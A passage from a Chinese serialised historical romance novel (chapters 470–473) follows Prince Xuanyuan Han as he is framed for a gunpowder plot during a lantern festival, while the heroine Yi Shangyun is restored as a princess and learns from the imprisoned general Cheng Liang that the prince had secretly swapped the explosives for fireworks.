沉默了一会儿,轩辕翰忽然一把将地图拿了起来递给身旁的侍卫道:“程良!” 众人顿时惊呼一声:“秦王殿下,万万不可!” 只见明明灭灭中烛火下轩辕翰脸上的表情显得愈加地阴冷可怖,遂发出一阵命令道:“今晚的一切行动,没有本王的命令,谁都不许轻举妄动!否则,军法处置!” 说完,便在众人震惊极了的神情中起身来悠然离开。 一出门,轩辕翰便对程良急急吩咐道:“时间不多了,赶快吩咐下去,按照我们的计划重新布置。” 程良似是心里有所顾忌,看着轩辕翰的脸担心地道:“殿下,这件事非同小可,殿下确定要违抗皇上的旨意。” 轩辕翰一字一顿道:“拿下东宁国,本王可以有千百种不同的方法。可是,如果炸了这座城,云儿便会一辈子都怨恨我,不肯原谅我,本王和她,便就再无可能了!” 程良紧紧攥住那张地图,道:“属下明白了!” 就在这时,一侍卫慌慌张张地朝俩人疾步近身过来,抱拳禀告道:“启禀殿下!衣姑娘,衣姑娘不见了!” “你说什么?”轩辕翰顿时朝来人瞪大了眼睛惊呆了,眼看着这个节骨眼上,他最怕的事情还是发生了。 程良一见,忙上前两步追问道:“不是千叮咛万嘱咐让你们务必一定要好好守着她,今夜无论发生了什么都不许她离开院子半步吗?这到底是怎么回事?” 侍卫亦是至今都感到莫名其妙:“殿下刚走不久,衣姑娘的确出来过,神情慌张地只说她要出去,可是属下们依照殿下和将军的吩咐,丝毫没有让衣姑娘离开过房门半步。可就在刚刚,属下忽然在门外听到屋内似是有什么响动,便进去查看。谁知,衣姑娘她,她竟然早已不知了去向?” 程良顿觉不可思议极了,继续追问:“一个大活人,怎么可能就此凭空消失了呢?你可有检查其他房间?” 侍卫纳闷地道:“屋内所有角角落落,属下都已经命人仔细检查过了,并未查到任何蛛丝马迹。” “那燕儿呢?她也不见了吗?”程良忽反应过来,又问。 侍卫道:“燕儿,她还在。” 这都什么时候了,竟出了这样的状况,程良心急如焚:“那可有问她,衣姑娘的去向?” 就在程良思之不解时,忽然,轩辕翰默默地开了口,强压住内心的愤怒沉声道:“是易三少!” 程良亦是忽然想了起来:“易三少!千算万算,我们终是漏算了一人,他还真的是成事不足,败事有余!” 这时,那侍卫怯怯地禀告道:“属下已问过燕儿,说是衣姑娘得知了咱们的计划,以为那张东宁城防图上所标注的红点,是殿下布置要炸了东宁城,这才想要设法逃出去欲要阻拦我们的行动。” 程良一脸惊愕:“那只不过是我们暗中调查的皇上的人……” 轩辕翰亦是皱了皱眉。 程良问:“殿下,那现在我们该怎么办?” 轩辕翰目光一沉,想了一瞬,继而吩咐道:“你先带人按原计划进行,本王去找云儿!” “是”程良领命后,俩人便各自分开行事。 东宁国元宵灯会,素有“灵空第一灯会”的美名。 当夜幕悄悄降临,灯火阑珊,城中到处便已开始人来人往,络绎不绝。 人们或泛舟于江河之上,或凭栏远观于朱雀桥边,河两岸的楼宇屋檐墙壁上的流光溢彩和湖面亭台流水相得益彰。 尽管眼下依旧正值寒冷的冬季,但夜游的人们始终都兴致不减半分。 伴随着寒风萧萧,夜色渐浓,到处亦是人潮汹涌,舞龙灯闹元宵,走街串巷,挂红夺彩,锣鼓喧天,河岸上悄悄燃放起万盏水灯,热闹非凡。 灯光人影交相辉映,将新年的喜庆气氛彻底推向了高潮。 护城河两岸,花灯灿烂,远远望去,金粉楼台,画梁雕栋,好一派繁华市井,令人沉醉,看灯影摇曳,河面上烟笼寒水,桨声阵阵,画舫凌波,浓酒歌声,不亦乐乎。 让人只觉像是进入了一个奇幻的世界,没有战争,没有痛苦,一切都好似是上天所做的最好的安排。 易三少带着衣上云就这样信步挤在人群中央,被那如同沸腾了的海浪一般的人潮缓缓推动向前着。 没有人知道前方会到达什么地方?所看到的下一个风景又是什么?唯只有挂满脸庞那带给人们接二连三不断的惊喜和兴奋。 俊男美女所到之处,无人不朝其投来艳羡的目光。 易三少含情脉脉地问:“丫头,可不可以给我一个公平竞争的机会?” 衣上云一边焦急地四处张望寻觅着,心事忡忡地道:“三少,秦王殿下他为了我,独自承受了太多,殿下他表面上看起来冰冷无情,实则最是温暖,云儿喜欢他。” 易三少一听,忽然扬声起来道:“可我也喜欢你,离不开你,你的眼里为何永远只有他,而看不到我呢?” 衣上云诚恳感激地说:“三少,我知道你对我好,可我对殿下的感情,我相信,总有一日,当你也遇到对的那个人时,你会明白的。我祝福你。” “不要,我不要,我谁都不要,此生,我只要你一个。”易三少忽然情绪激动地捉住衣上云的肩头,叫了起来。 “三少,你不要这样好不好,我害怕?”衣上云被其几乎有些狰狞的面孔吓得连连朝后倒退了起来。 易三少试图继续替自己争取:“丫头,事到如今,难道你还不明白吗,他给不了你想要的幸福!他什么都给不了你。” 衣上云目光定定地迎对着他的目光,坚定不移地道:“云儿什么都不要,只要殿下心里有云儿,那么,我们一起走过的路,一起看过的月潜日升,都证明了我们曾经相爱过,这便就够了!” 易三少顿时迷惘地道:“那我呢,我又算什么?” 衣上云早已心急如焚,只不断歉声,一脸哀求地道:“三少,对不起,对不起!我求求你,你帮帮我,帮我赶快找到殿下,我们一定能阻止他的,一定能……” 第四百七十章:纵马长街 就在这时,易三少似是忽然变了一个人似的,冷冷地道:“帮?怎么帮?你可知道,如今东宁城里铺天盖地已经到处都是护城军,他们早已布下了天罗地网就等着他出现。只要秦王轩辕翰一现身,便会被立刻拿下!” 闻此,衣上云眼看着都快要急哭了,她失望地看着眼前忽然变得冷漠至极的人,突然目光变得凌厉了起来,厉声道:“的确没错,三少又有什么义务帮我呢?但我绝不会眼睁睁看着殿下涉险,遭人设计。我自己去,我相信,即使我一人,同样也可以拦住殿下。” 话音刚落,便提起裙摆来转身欲疾步离去,却被忽然上前来的几名手持长剑的黑衣男子拦住。 紧随其后,缓缓现出一熟悉的身影来,其身后跟随着一大队兵将,朝着衣上云近身过来后,那人双手负后,满脸得意地朝其打招呼道:“皇妹,你果然还活着,真是好久不见!” “是你!”衣上云抬头一见朝自己走近的人居然是梅志煊,惊诧极了。 她遂看看此时静立在一边只怔怔看着自己的易三少,又再看看梅志煊,瞬间明白了过来:“原来你们俩个,早就已经结盟了?” 遂心下里一想,恍然大悟,看着易三少多多少少有些躲闪的目光,定定地道:“看来今夜三少处心积虑把我费尽心思地带来此处,定是另有所图了。你们,到底想要做什么?” 她说着,急急将近日里所发生的一连串事情理了理,忽道:“莫非,你们是想利用我来引出殿下!” 一念至此,她顿时醒悟过来,表面看似镇定自若,实则却是心乱如麻地在心里默默悔道:“怎么办?怎么办?殿下啊殿下,云儿这下又闯祸了,你可千万不能现身啊!他们可都早已埋伏好就等着你出现呢!” 就在这时,梅志煊上去一挑眉,似是已然默认了她所说的这一切:“皇妹,请吧!” 于是,一众人等就这样带着衣上云缓缓消失在依旧涌动着的人潮人海之中。 众人刚刚离开,轩辕翰后脚便带人来到了同样的地方。 驻足停下,遂朝四周放眼望去寻了半晌,终是不见其半点影踪,遂有些气恼地将一只大手拍在了小桥边的石栏上,蹙眉低声喃喃道:“云儿,你到底去了哪里?你千万不能出事啊!” 许是一时情急,忽觉心口处一阵阵痛传来,他忙附上一只手去将其按住。 一旁的侍卫见了,忙上前关切地问:“殿下怎么了?” 轩辕翰伸出另一手将其挡住:“无碍,你们几个赶快再在附近仔细找找,看看可有她的踪影。” 侍卫似是对其很不放心,一脸难色,轩辕翰厉声对其命令道:“还不快去!” 见其离开,轩辕翰方才倒抽了口气,喃喃道:“你为何不愿相信本王,本王又岂会不知你的善良。东宁国君始终都是你的父皇,他的子民自然亦是你的臣民。就算本王之前亦说过要炸掉这座城之类的话,那也只不过是见不得他们欺负你,所说的一时气话而已。如今,本王真的后悔了,本王不该吓唬你。” 回忆起此行自己来东宁的初衷,轩辕翰回忆着自言自语道:“北烈一战,最终痛失去你,本王为此耿耿于怀,乃至生了一场大病。醒来后,为平息灵空其余两国之怒,皇兄假借将本王永无期限地禁足于府中,实则乃是为掩人耳目,悄悄护送本王来到东宁,以便秘密夺取东宁国。到时,西秦便对剩下的区区一个小小的南蛮之地南安国再无所惧,称霸整个灵空。只是,万万没想到,你竟然还活着……” 说着说着,轩辕翰的脸上渐渐温柔了起来,顿了顿,继续道:“也幸亏你还活着,能让本王弥补之前所犯下的错。你可知道,那夜在宫里看到你,当时本王心里有多开心。可是,本王亦是那时便已知道,这次皇兄所安排的任务,本王定是无法再完成。可只要你平安喜乐,本王就算付出再大代价亦是心甘情愿。” 说到最后的时候,轩辕翰的眼神温柔极了:“云儿,你就是本王的全部……” “殿下!”就在这时,已安排处理好一切的程良在街角一看到主人,便疾步过来与其汇合。 轩辕翰沉声问:“可都处理好了?” 程良对其点了点头,问:“怎么样,有没有衣姑娘的消息了?” 看着主子默不作声,想着至今衣上云定是依旧尚还音讯全无了,遂咬牙狠狠地道:“这个易三少,若是再让我碰到,非扒了他的皮抽了他的筋不可!” 而此时的另一条街上,依旧人潮汹涌,锣鼓喧天地热闹欢庆着。 梅志煊与易三少之间夹着衣上云,一行人等走着走着,忽闻身后有一匹快马追了上来。 只见从马背上下来一名侍卫,近身朝着梅志煊身边过去附在其耳边不知禀告了些什么,唯见梅志煊顿时眼睛一亮,继而对易三少使了个眼色,易三少便兀自带着衣上云在其中一支分出来的队伍护送下继续缓缓前行。 梅志煊则独自带了一队人马急急退了回去。 见状,衣上云眼睛咕噜一转,忽然捂起腹部来弯腰佯装极痛苦的样子道:“哎呀,疼,疼,疼,疼死我了……” 说着,便就顿停下来脚步不再往前。 一时间里,易三少关心则乱,急切地问:“丫头你怎么了?哪里不舒服?” 衣上云继续佯装着道:“许是今日太久没有吃东西,肚子饿了,疼,好疼,疼死了……” “饿了?”易三少一听,忙朝周围的商铺放眼看了过去。 很不巧,他们此时正在经过的乃是一条商铺林立的商业街,好不容易扫到了一家烤鸭店,却见其门前排着长长的队伍,心中虽有疑虑,却被衣上云此时一声比一声高的痛苦声叫的只能妥协道:“等着,丫头你等着,我马上去给你买吃的回来!” 看着易三少成功地便被自己支走,剩下的便就都是些胸大无脑型的粗人了。 脑子里灵光一闪,衣上云忽伸起一根手指指着众随从身后惊叫了一声:“那不就是你们要找的西秦秦王吗?” “秦王,西秦秦王,在哪儿?在哪儿?秦王在哪儿呢?”闻声,众人皆都顿时脸色一惊,急急回首于身后的人山人海中各自寻觅着自己记忆中的战神秦王的模样。 半晌后,只闻“驾!”的一声,不知衣上云从哪里寻来了一匹快马。 只见其手里的鞭子一辉,马儿便如一阵风似的驮着衣上云追着梅志煊的背影疾驰而去。 众人这才顿时反应过来,举步追在马后面,扬声呼喊道:“站住,停下来,快停下来……” 闻声,几次三番插队无果,最后只能乖乖挤在人群里翘首期盼着正排队买烤鸭的易三少疾声大呼:“丫头,你不会骑马,快停下来,危险,快停下啊……” 衣上云却早已什么都听不进去,兀自只在人头攒动,极为繁华的长街之上全然不顾地纵马疾驰,用手里的短鞭狠狠地抽打在马屁股上:“驾,快点,再快点!” 一路疾驰,路上行人见其无不退避到街两边,被其惊吓到,然她也是实在没了办法,但凡她有一点点法子,怎会拿自己和街上的行人的性命开玩笑。 她感觉自己此刻一定是疯了,似是都记不起方才是怎么上到马背上,更不知道这马儿的速度怎么去控制? 只能一手紧紧攥着鞭子,另一手紧紧握住缰绳,眼睛明明不敢睁开,却又怕错过寻那个人的任何机会而强撑着。 顿时间,其所经过之处似是忽然变得安静了下来,独独只听到她一人越来越沙哑地不停叫喊着:“让一让,麻烦请让一让,对不起,对不起,我不是故意的。” 就这样一边叫着,七拐八拐地,终于在一条巷子里看到了那个熟悉的身影。 衣上云一看见轩辕翰,想都没想便朝其大喊了一声:“殿下快走,快离开这儿,此处有埋伏,快走啊!” 衣上云显然控制不了马儿,眼看着马儿失控发狂一般朝其所去的方向正是一条宽阔无比的江河,轩辕翰顿时觉查出来,就在此千钧一发之际一个飞步过去,便刚好落在了马背上,衣上云的身后。 只见轩辕翰一把拽住了衣上云手里的马缰绳,极轻松地便将马匹驯服。 继而,将早已闭紧双眸等待着接下来可能发生的任何不好的事情的衣上云紧紧揽在怀中抱住,在其耳旁柔声细语地安慰道:“云儿别怕,没事了,本王来了!” 不知过了多久,衣上云终于将深深埋着的脑袋再次小心翼翼地探了出来,缓缓睁开了眼睛望向身旁的人,然此刻其整个人的身子还是僵硬着,一颗怦怦乱跳着的心也尚还悬在半空中无处安放。 直到看到那张熟悉的脸,直到眼前的这张脸孔渐渐变得温柔,继而慢慢垂首过去,霸道地将她一吻封唇。 刹那间,从将俩人人山人海地拥在中间丝毫不得动弹的人群里,传出一声接一声的掌声来,很快,这些掌声便此起彼伏地从四处俱都响了起来…… 第四百七十一章:谁敢非议她? 听到耳边传来阵阵的欢呼声,也真实地感受到某人带给自己略带潮湿的温度,衣上云似是方才渐渐放松了全身回过神来,哭着激动地道:“殿下,云儿可算是找到你了。” 她惊喜地看着轩辕翰的脸,此时轩辕翰虽然是笑着的,可衣上云依旧被吓得不轻。 轩辕翰跨下马将她一把抱了下来,衣上云脚一着地便忙伸手拉起他来劝说道:“对了,殿下快走,赶快离开这里。不管殿下今夜准备做什么,殿下都必须马上离开这个是非之地,离开东宁国,快,若再不走,怕是就来不及了。” 话音未落,便要拉起轩辕翰离开,轩辕翰对她微微一笑,反握起她的手来提醒她:“云儿,本王说过,待这里的事办完,本王便带你回家。往后余生,本王陪你。所以,无论发生什么事,本王再也不会放开你的手。” 衣上云一脸焦急,可此时俩人周围依旧被不少百姓围观着,她似是有些话又不能讲的太明显,遂只压低声音继续催促着:“不,殿下,你不知道,那三皇子与易三少不知为何竟然结盟了,方才云儿好不容易才摆脱了他们的控制。今夜,他们早已在城中各处布好了天罗地网,正派人在城中各处寻你呢!殿下如若一旦被他们发现,后果将不堪设想。” 轩辕翰一脸宠溺地看着她的眼睛,伸手摸了摸她的头,道:“云儿不要担心!本王知道你在担心什么?” 看到已然围观看够了热闹的百姓们都已在渐渐散去,轩辕翰方压低了些许声音道:“你是不是也以为,本王今夜欲要炸掉整座东宁皇城。” 就在衣上云望着其深邃的眼眸犹犹豫豫间,忽闻传来一声刺耳的叫嚣声道:“你们可知眼前的这个人是谁?就在此胡乱为他鼓掌。” 闻声,已然渐渐朝四面八方散去的百姓复又再次聚到了一起,交头接耳,议论纷纷。 说这话的人便是半路得到消息,有人在此附近发现了轩辕翰出没闻讯而来的梅志煊,此刻他带着一队兵马,从人群缓缓避让开的一条缝隙里现出身来,立在轩辕翰与衣上云的面前,手持马鞭指向轩辕翰道:“他,便是赫赫有名的灵空战神,西秦秦王。” 一时间里,人群中七嘴八舌说什么的都有,顿时炸开了锅。 “秦王?他是西秦秦王?” “他就是战无不胜的西秦秦王啊,果然一表人才!” “秦王好帅啊!” “秦王殿下竟如此年轻!” “秦王不但年轻有为,还很痴情呢!一点儿也不像传闻中的那样冰冷无情嘛!可见传闻就是传闻,一点儿也不可信!” …… 听着耳边传来的竟然不约而同都是些赞许之词,梅志煊顿觉这些人愚蠢至极,遂冷冷地讥讽一笑,道:“你们为何不问问,你们个个心中视其为大英雄的这个人,他这次千里迢迢跑到我东宁国来,所为何事?” 百姓们闻声顿时面面相觑,当然不知其中缘由。 梅志煊遂移动目光朝向轩辕翰,怪声怪气地道:“秦王何不亲自向这些崇拜你的善良的百姓们解释一二呢?” 轩辕翰稍一思量,正欲开口:“本王……” 启料衣上云忽然上前一步,挡在了轩辕翰的前面,伸开双臂将其护在身后,道:“秦王殿下,她此次来东宁国,是为了帮小女子寻找失散在东宁国多年的亲人。” 梅志煊一点儿也不想在大庭广众之下听到衣上云所说的这件事情,于是大声将其打断道:“胡说!秦王殿下日理万机,他怎么会为了你一个不相干的小女子做这等琐碎之事。本皇子早已暗中查明,此次秦王带人混入我东宁城内乃是为了乘元宵佳节炸掉我东宁城而来。” 说完,还不忘朝其讥笑讽刺一句道:“本皇子说的对吗?大英雄!” 闻声,众人皆都甚敢不可思议地惊呆了:“什么……” “你胡说,你有什么证据这么说?”衣上云一见身边已然个个瞬间俱都变了脸色的百姓,替其大声辩解道。 “证据……”梅志煊冷笑一声命令道:“来人……” 顿时间,只见一队兵将前前后后足足约有几十人之多,每俩人一组,抬着一个个看似沉甸甸的黑色木箱上前来,将其整齐排列着。 梅志煊遂胸有成竹肃声地朝其命令道:“将这些全部都给本皇子打开!” 刹那间,在场所有人包括轩辕翰自己对着面前齐刷刷被同时打开的几十个黑色木箱里的东西惊呆了:“是火药!这么多火药!” 梅志煊见自己奸计得逞,遂继续火上浇油,趁热打铁道:“这些便就是你们心目中所谓的大英雄,带人悄悄埋伏在我东宁城内的火药和伏兵。” 紧接着,又有一群被摘掉了面巾的黑衣人双手被人从后面捆绑着带了上来,其中一人一被按跪下,便对着轩辕翰致歉求饶道:“秦王殿下请恕罪,属下无能,今夜的计划失败了!” 看着眼前所发生的一切,轩辕翰瞬间明白自己这是被人先摆了一道。 这时,他瞥见人群前面的易三少一对上自己的眼神,目光便四处躲闪着,怕是他早已知晓了这一切,不禁紧紧地握住了双拳。 而下一秒,他最不想看到的结果,终于还是发生了。 只见衣上云依旧保持着在前面展开双臂护着自己的动作,她目光怔怔地看着此刻就摆放在自己脚下,面前的这一件件人证,物证,久久没有说话。 似是时间与空间在这一刻俱都彻底地凝固,或许,她是在等他亲自开口给她一个解释。 可他,却终是什么都没有说。 许久后,她许是等得太久了,也是绝望了,累了,方才渐渐放下了已强撑开来太久的双臂。 就在这时,程良闻讯追了上来,一见到眼前的种种,顿朝着轩辕翰道:“殿下为何不替自己辩驳?这根本就不是……” 却是话刚开口,便被轩辕翰一个冷厉的眼神全都给挡了回去。 就在这时,街上一围观的妇人似是忽然想起了什么,开口议论道:“咦,这众所周知我们东宁国的永乐公主不是早已经远嫁西秦,就是给这位秦王为妃了吗?那这位姑娘,她又是什么人呢,怎么会与秦王在我们东宁的街头卿卿我我,这……” 顿时间,人群里哗然一片,对衣上云指指点点,议论纷纷。 “坏女人!” “真不要脸!” “狐狸精,竟敢与我国的公主抢夫婿。” …… 然对于这一切,衣上云却愣愣地呆在原地,似是什么都听不见一般。 听到自己属意的女人当众遭人非议,易三少顿挺身而出,正欲要开口替其辩解:“谁敢非议她,她乃是……” 就在这时,人群里忽然传出一不怒自威的厉声抢先宣布道:“她乃是我东宁国最尊贵的嫡公主,谁敢非议她?” 梅志煊一听到那熟悉的声音,急急放眼寻去,这才发现人群后面,不知何时,东宁国君竟然出现在里面,遂忙朝其俯首跪拜道:“儿臣参见父皇!” 顿时间,人群里纷纷跪倒一大片,个个朝其俯首跪拜道:“草民叩见吾皇,万岁,万岁,万万岁!” 东宁国君一袭明黄色便装,满脸厉色,单手负后着上前,梅志煊紧忙开口朝其禀告:“启禀父皇,儿臣多日以来历经千辛万苦,查获西秦秦王带人在我东宁设下埋伏,欲于今夜乘着元宵佳节之际,将我东宁皇城变成一座废墟。如今铁证如山,还请父皇定夺!” 然东宁国君却似是并未听他所说的话,自顾自径直朝着正一脸漠然的衣上云身边踱步过去,欣喜万分地道:“果然是你,父皇终于等到你了!” 衣上云不知何时眼里噙满了泪水,已然分不清那是因为对轩辕翰的失望,还是对眼前这份突然而至的骨肉亲情的惊喜。 直至东宁国君一脸慈祥地看着她,最后伸出自己结实的臂膀将这一刻看似让人心疼极了的衣上云揽入怀中,她的眼泪方才瞬间肆无忌惮地流了下来,尽情地流了下来。 翌日清晨,阳光依旧普照大地万物,看似什么都没有变,却亦是一切都变了。 东宁国城里到处一片井然有序,唯只有一个消息铺天盖地地迅速传遍了所有大街小巷。 那便是,传闻中流落在西秦国的先皇后娘娘留在这个世间的唯一血脉,终于找回来了。 于是,接下来的好多天里,皇宫内外,到处张灯结彩,一片热闹景象。 甚是隆重的祭天仪式,花车游街,各种昭告天下的繁琐礼节,应有尽有也都一一被排上了日程。 终于,日子表面上看似仿佛又恢复了往日的平静。 而在皇宫里,近日却又开始流传出另一件喜事来。那便是,很快,东宁国便要与南安国结盟了。 因为,南安国太子相中了东宁国嫡公主,而东宁国君对在梅志煊的引荐下进宫觐见的易三少亦甚是满意,俩国遂达成一致以此而结盟,一起对抗西秦国。 此刻,在东宁国天牢里。 同样已经从来来往往的看守口中得知此消息的程良,身着囚衣,坐在冰冷的牢房一角满是颓废,眼里满满都是猩红,替其主子深深感到不值。 听到有人进来,他虚弱地斜了斜眼睛…… 第四百七十二章:不止为了你一人 听到有人进来,程良虚弱地斜了斜眼睛望去,见徐徐映入眼帘一身形纤细的少女。 少女着一袭赤红色华服于身,满头珠翠,整个人从上到下,由里及外,俱都流露出一副似是从骨子里与生俱来就有的尊贵气质,正朝着自己的方向渐渐步入进来。 当其着实有些震惊地近身一看,原来此人并不是旁人,正是一夜之间扶摇而上成为如今东宁国最尊贵无比的嫡公主,东宁国君特赐其封号“永宁”,寓意永保长宁的衣上云。 瞬间一回过神来,却又朝其冷冷哼笑了一声,同时收回视线,变作另一面孔对其不屑,似是还带着些许嘲讽地道:“我当是谁呢?原来是永宁公主,如今身为东宁国里最尊贵的女人,怎么会来这晦气至极的地方?” 衣上云知道他心里不舒服,有气没处撒,在埋怨自己,其实这段时间发生的这许多事,就连她自己亦是感觉如同做梦一般好不真实,又更何况是程良呢? 可眼下,她又能怎样? 元宵之夜,众目睽睽之下,梅志煊拿出如山铁证来要置轩辕翰于死地,轩辕翰又对此不为自己做任何辩驳。 她倒是想相信他,可摆在眼前的事实却让她根本看不透这一切究竟是怎么回事? 无数个日子以来,她多么希望这一切只是一场噩梦,梦醒了,她依旧还依偎缱绻在那个滚烫又结实,给予自己无限安全感的胸膛,某人的身边。依旧在前段时间里,那个可谓是自己一生中最幸福的时光的小院里。 可惜,现实一次次,总是那般的残忍无情。 如今的这身行头,看似尊贵气派,实则仿佛蚀骨枷锁一般将她禁锢束缚起来,让她无论在哪里亦或做什么,甚至于连再平淡无奇正常不过的呼吸都无法做到。 天知道,她有多么地想逃离这一切,可是,就目前的混乱局面,她又能逃到哪里去? “你们都出去远远地守着吧!” 只见衣上云一进来,便打发了里面所有的狱卒,又静静地立着沉默了一会儿,方才缓缓开口道:“程将军,我知道你心里一直在怪我,元宵之夜,我不该跟着易三少偷偷溜出来,被人利用……” 闻声,程良终还是没能再继续压住心头的怒火,当即扬声怒将其打断道:“怪你?难道不该吗?实不相瞒,此刻,若不是这副枷锁,我程良连杀你的心都有!你可知,殿下之所以会有今日,全都是拜你所赐。过去的日子里,你的每一次出现,无一不扰乱了殿下的所有理智,总能让他方寸大乱。没有认识你之前,殿下他从未优柔寡断过。你,你简直就是殿下命里的结,永远都无法打开的死结!” 看着程良已然怒不可遏,衣上云仿佛也只能抱歉地道:“对不起,我知道,这一切,终是被我给搞砸了。” 程良苦笑了一声,继续道:“你知道?那你可曾知道,被你亲手搞砸了的这次行动,让我们暴露了身份,秦王殿下他即将面临着怎样的后果吗?” 多日以来,衣上云在宫中或多或少自是听到些人议论这件事的严重后果,可眼前,程良的话还是引起了她的注意,遂有些纳闷地喃喃重复了一句:“后果?” 程良咬牙切齿地道:“且还不知东宁国君如今会如何惩治我等?能不能留条命?就算殿下他有命回西秦,可他之前北征,如今又东讨所做的一切,即便他最后都誓与全天下为敌独独只因为了你一人。皇上对此就算之前皆都因为最后的利益关系一一默许,可如今为了自保,亦会将殿下亲手碎尸万段,好给灵空各国一个交待。” 闻此,衣上云惊呆了:“你说什么,为了我……” “哼……可惜,殿下他为你默默做了这么多,到最后竟然是为他人作了嫁衣裳。”看着眼前如此没有心的衣上云,程良想了想,说着,不禁冷冷地笑了起来。 然一提到眼下的这桩联姻,衣上云又不想再多说什么? 看着程良已然护主心切,可这主仆俩又似是有意对自己在隐瞒些什么? 衣上云顾不得其他,一想到方才自己从东宁国君的清心殿里出来时,有几位朝中位高权重的大臣进去觐见,欲商量为防止夜长梦多,这两日日便会将此事的相关人等一并斩首示众处置。 于是心中一急,索性直奔主题地问:“我只想最后再问你一次,你与殿下,究竟在隐瞒些什么?殿下他自己不愿意说,难道,你也没有什么要和我说的吗?” 闻声,程良心里终是忍不住咯噔顿了一下,怕只怕,会不会此刻再不说,就真的没有机会了,心里想着,嘴上却仍故作不解地道:“不知永宁公主在说什么?” 衣上云似是已意识到程良此时的犹犹豫豫,便再次追问:“我想知道,那夜搜出的那些火药,到底是不是你们的?” 程良心下里犹豫着,缓缓道:“那些火药,是我们的,也不是我们的。” 闻此,衣上云半眯起眼睛来,不解地道:“是?又不是?此话怎讲?” 犹豫了半晌后,不甘愿其主子就这样被人诬陷,于是程良终是想抓住这一线机会,咬了咬牙下定了决心后便对其娓娓道来:“那批火药,原本就是梅志煊向我西秦订购的。” “什么?是三皇子?他?”衣上云一听,瞬间瞪大了眼睛惊呆了。 待其一回过神来,稍作回忆便道:“订购火药是需要向父皇事先特别报备的,况且还如此大的数量。可我一早便在父皇身边当差,并未见父皇批阅亦或提及过任何关于订购如此大数量火药的奏折啊?他要这么多的火药,想用来做什么?” 俩人眼神遂缓缓对视在一起,程良意识到一种极不愿相信的猜想显然已在衣上云的心头油然而生,而衣上云却见程良似是早已知道些什么。 终是程良先错开了眼神,继续道:“原本在西秦时,殿下便对皇上说,三皇子的狼子野心已昭然若揭,建议这批火药以次充好。可……” 顿了一下,见衣上云听的极认真,程良却似是都不忍心再继续说下去:“殿下说,三皇子的狼子野心昭然若揭,在未得知他究竟在作何打算时,为了两国黎民百姓的安全,建议这批火药交易先以次充好,换做制备烟花的原料。可皇上,皇上却说,这批火药势必一定要用最上等的,不能辜负了三皇子的一片心意。说两国之争,能不费一兵一卒,仅死一些敌国的子民算什么?且要殿下此次亲自护送火药到东宁,事关重大,不成功便成仁。” 衣上云惊诧地道:“仅死一些敌国的子民?所以你们就依照皇上的旨意……” 程良知道她此刻在想什么,忙开口打断她的念头:“不,殿下后来依旧让属下又秘密准备了一份可以以假乱真的制作烟花原料的火药。” “殿下,云儿终是没有信错你。”衣上云心里默默地道。 程良接着幽幽道:“因为护送火药的队伍里,大多都是皇上的亲信,我们必须一路带着真的火药上路。且皇上在东宁国布下的暗桩也十分厉害,竟然取得了东宁国的护城图。负责布置爆炸点的也都是皇上的死侍,我们后来几经尝试,都无法渗入进去。可就在行动当夜的紧要关头,殿下他还是强行夺下了那张布置图。” 程良顿了顿,想起那一幕幕惊险的瞬间,至今都甚觉不可思议,却又忧心至极:“怕只怕,夺图的事,现在皇上已然知晓了。” 衣上云亦惊讶连连,蹙眉细听着。 程良回忆着继续说:“殿下夺取了火药在城中设置的爆炸点布置图后,便马上令属下去全部换成了烟花。” 衣上云惊呆了,喃喃道:“他,为什么要这样做?他就不怕违抗皇上的旨意,后果便是自己……” 未及其将话说完,程良想了想,道:“殿下此举,不止为了你一人,更是为了……玥公主!” “是啊,若是这批火药真的被梅志煊所得,无论其是何居心,都是罪大恶极。到时候,玥公主必定遭到牵连,还有小皇子,怕是……”衣上云后怕极了地道。 显然,没有人知道,东宁国君若是发现此事,亦或梅志煊的计划成功后,都会是怎样的后果? 自始至终,程良心中只是至今都疑惑不解:“当夜,我们明明都已经把所有火药全部换成了烟花,火药也已全部都藏匿了起来,可最后却又怎会都是火药?” 衣上云深吸了口气,闭上眼睛默想了一瞬此次事件的经过,已然明白了过来,睁开明亮的眸子说道:“是易三少,是他帮的梅志煊。” 程良问:“易三少,他为什么要这么做?” 衣上云默想了会儿,开口道:“为了我,这便是他们二人当初结盟的条件。如此一来,一切便就都通了。” 第四百七十三章:我让他活,他便能活 衣上云默想了会儿,说道:“为了我……这便是他们二人当初结盟的条件。如此一来,一切便就都通了。” 程良一听,亦是瞬间茅塞顿开,忿忿道:“没想到,这个易三少竟如此卑鄙!想来,也定是他向那梅志煊透露了我们的行踪。” 遂心下里一想,叹息地说道:“我家殿下,他向来就是那样的人,什么坏事都自个儿扛着。凡事明明心里替每个人都打算着,可就是嘴上不说,平日里又总是给人感觉一副铁石心肠的冰冷模样。这次,他这是铁了心宁愿你一辈子恨他,也要保全了其他人。” 此刻,衣上云似乎终于明白,为何发生了这么多的事,自始至终他却对自己连一句解释的话都没有?她心目中的他,的确没有让自己失望。 可是,她心里还是感到那么一丝丝悲伤:“殿下既然为每个人都细细打算过了,那可曾又为云儿也盘算一二,如此一来,云儿又该何去何从?” 想起过往,曾经的山盟海誓,信誓旦旦地说什么要带她回家,一生,一世,一双人,那些美好的记忆犹新,如同就发生在昨天,尔今,却将她送入到这个金丝鸟笼里,自己又身陷囫囵,她还怎么跟他回家? 站在原地里愣了不知有多久,衣上云忽然开口信誓旦旦地道:“你放心,你家主子,他不会有事的。” 程良吃惊地抬起头来看着她异常冷静认真的脸不敢置信地道:“不会有事?这怎么可能?你没见当晚那些声称是我们用来炸城的炸药,那么多炸药被查获,且那些显然是受人指使被人买通了的人证,个个脸孔俱都一口认定了都是受到殿下的指使,人证物证俱在,铁证如山,殿下他还怎么可能活?” 衣上云若有所思着,像是根本就没有听程良所说,却似在心里已经有了主意,最后直直地看着程良,一脸笃定地说道:“我让他活,他便能活。” 说完,便转身头再也不回地自顾离去,走到门口的时候脚步忽然停了下来,说了句道:“程将军,谢谢你告诉我这一切。你家主子身边有你,实属万幸!” 程良望着其随之渐渐消失的背影,一脸的匪夷所思,口中喃喃自语道:“殿下,今日这一切,不知属下究竟是做对了,还是做错了?” 从天牢出来后,衣上云便直接来到了东宁国君的清心殿里。 东宁国君一瞥见衣上云进来,便从书案边走了出来,欣喜地道:“皇儿你来了!父皇正要派人去找你,看来我们还真是父女连心啊!” 衣上云脚步似是有些沉重,缓缓步入进来,朝其曲膝行礼:“儿臣参见父皇!” 东宁国君忙上前笑着将其扶起,拉着她朝着一边落座,一边关切地问:“皇儿在自己的宫里住的可还习惯?若是哪里不够好,父皇命人马上去办?” 衣上云笑了笑,道:“儿臣一切甚好,父皇莫要挂怀!” 